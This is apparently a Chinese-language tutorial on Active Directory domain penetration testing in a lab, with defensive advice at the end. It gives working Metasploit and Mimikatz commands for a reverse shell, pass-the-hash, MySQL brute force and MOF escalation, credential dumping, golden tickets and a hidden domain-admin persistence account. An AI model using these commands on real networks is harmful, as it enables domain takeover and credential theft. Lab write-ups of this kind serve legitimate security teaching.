1. 域渗透基础概念解析在网络安全领域域渗透是企业内网安全评估中最具挑战性的任务之一。要理解域渗透首先需要掌握几个核心概念。1.1 域环境的基本组成域Domain本质上是一个有明确安全边界的计算机集合。这个安全边界意味着一个域中的用户默认无法访问另一个域中的资源除非建立了明确的信任关系。与工作组模式相比域模式特别适合中大型网络环境的管理需求。域环境的核心组件包括域控制器DC这是域环境中的大脑负责所有计算机和用户的身份验证工作。可以把它想象成一个单位的门禁系统——任何进出都需要经过它的审核。活动目录AD这是存储在域控制器上的一个层次化数据库相当于网络资源的黄页。它记录了用户、组、计算机、打印机等各种网络对象的信息并提供快速检索服务。实际经验在渗透测试中我们经常发现企业虽然部署了域环境但DC的补丁更新往往滞后这为攻击者提供了可乘之机。1.2 域内成员的角色划分一个标准的域环境中通常包含四种类型的计算机角色类型特点安全风险域控制器安装了AD的服务器存储所有账户和策略信息最高价值目标一旦沦陷等于整个域失守成员服务器加入域但没有安装AD的服务器提供网络资源常见横向移动跳板往往存储业务数据客户机加入域的普通计算机用户通过域账户登录员工日常使用安全意识薄弱独立服务器未加入域的服务器自成工作组通常被忽视可能成为攻击突破口1.3 安全域的划分原理企业网络通常会划分为不同的安全域每个域具有相同的安全等级。通过防火墙策略控制域间访问形成纵深防御体系。典型划分包括DMZ区对外提供服务的区域如Web服务器内网区核心业务系统所在区域管理区网络设备和管理终端所在区域这种划分虽然提高了安全性但也带来了新的问题——一旦攻击者突破边界进入某个域就可能利用域内信任关系进行横向移动。2. 域环境搭建实战2.1 实验环境规划为了演示完整的域渗透过程我们搭建了以下实验环境网络拓扑外网段192.168.179.0/24模拟公网环境内网段10.10.10.0/24企业内网环境主机配置域控制器Win Server 2008-1 (10.10.10.2)成员服务器1Win Server 2008-2 (双网卡192.168.179.148和10.10.10.3)成员服务器2Win Server 2003 (10.10.10.4)攻击机Kali Linux (192.168.179.128)2.2 域控制器部署步骤安装AD服务# 在Win Server 2008-1上执行 dcpromo.exe按照向导完成AD安装设置域名为ocean.comNetBIOS名为OCEAN0。创建组织单位 在Active Directory用户和计算机中新建组织单位oceantest用于管理测试账户。创建域账户server2003用于Win Server 2003成员服务器server20082用于Win Server 2008-2成员服务器配置心得在实际环境中建议为不同服务创建独立的服务账户避免使用通用管理员账户这能有效限制攻击面。2.3 成员服务器加域流程网络配置确保所有主机在同一局域网设置DNS指向域控制器IP(10.10.10.2)加入域操作# 在成员服务器上执行 SystemPropertiesComputerName.exe输入域管理员凭据后重启完成加域。验证 在域控制器的AD中应能看到新加入的计算机对象测试使用域账户登录成员服务器。3. 初始入侵与信息收集3.1 外网突破口获取假设我们已经通过漏洞利用获取了双网卡成员服务器(Win Server 2008-2)的Meterpreter会话use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.179.128 set lport 12345 exploit成功获取会话后首先进行权限提升getsystem常见问题如果getsystem失败可以尝试迁移到explorer.exe进程ps | grep explorer migrate PID3.2 内网探测技术网络拓扑发现run post/multi/gather/ping_sweep RHOSTS10.10.10.0/24 run post/windows/gather/arp_scanner RHOSTS10.10.10.0/24路由配置background route add 10.10.10.0 255.255.255.0 session_id端口扫描use auxiliary/scanner/portscan/tcp set RHOSTS 10.10.10.2-4 run扫描结果通常会显示域控制器开放53(DNS)、88(Kerberos)、389(LDAP)等端口成员服务器可能开放3389(RDP)、1433(SQL Server)等业务端口4. 横向移动技术详解4.1 哈希传递攻击(PTH)当我们获取了某个域账户的NTLM哈希后可以在域内其他主机上重用use exploit/windows/smb/psexec set RHOST 10.10.10.4 set SMBUser Administrator set SMBPass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 exploit防御建议启用Credential Guard、限制本地管理员权限、启用LSA保护。4.2 利用MySQL服务提权发现成员服务器开放3306端口后可以进行弱口令爆破use auxiliary/scanner/mysql/mysql_login set RHOSTS 10.10.10.4 set USERNAME root set PASS_FILE /path/to/wordlist.txt run获取凭证后使用MySQL MOF提权use exploit/windows/mysql/mysql_mof set RHOST 10.10.10.4 set USERNAME root set PASSWORD 123456 exploit4.3 关键信息收集命令在已控制的域主机上执行net group Domain Admins /domain # 查看域管理员 net user /domain # 列出所有域用户 net view /domain # 查看域内计算机 nltest /domain_trusts # 查看域信任关系5. 域控制器攻防实战5.1 凭证窃取技术使用Mimikatz获取明文密码load kiwi creds_all或者直接获取Kerberos票据kerberos_ticket_list5.2 域控制器接管获取域管理员凭据后通过PsExec获取域控制器控制权use exploit/windows/smb/psexec set RHOST 10.10.10.2 set SMBUser administrator set SMBPass Ocean123 set SMBDomain OCEAN0 exploit5.3 权限维持技术黄金票据攻击kiwi_cmd lsadump::dcsync /domain:ocean.com /user:krbtgt kiwi_cmd kerberos::golden /domain:ocean.com /sid:SID /krbtgt:HASH /id:500 /groups:512 /ptt创建隐藏账户net user hacker$ Pssw0rd /add /domain net group Domain Admins hacker$ /add /domain6. 防御建议与总结6.1 企业防护措施网络层面实施严格的网络分段监控异常横向移动行为限制域管理员登录范围主机层面及时安装安全补丁启用LSA保护配置受限的管理员模式账户层面实施最小权限原则定期轮换高权限账户密码监控敏感账户活动6.2 渗透测试经验总结在实际测试中我们发现几个常见问题多台服务器使用相同本地管理员密码域管理员账户被过度使用关键服务如MySQL使用弱口令缺乏有效的横向移动检测机制一次完整的域渗透通常遵循以下流程 外网突破→权限提升→信息收集→横向移动→定位域控→凭证窃取→域控接管→权限维持最后提醒本文所有技术仅限合法授权测试使用未经授权的渗透测试属于违法行为。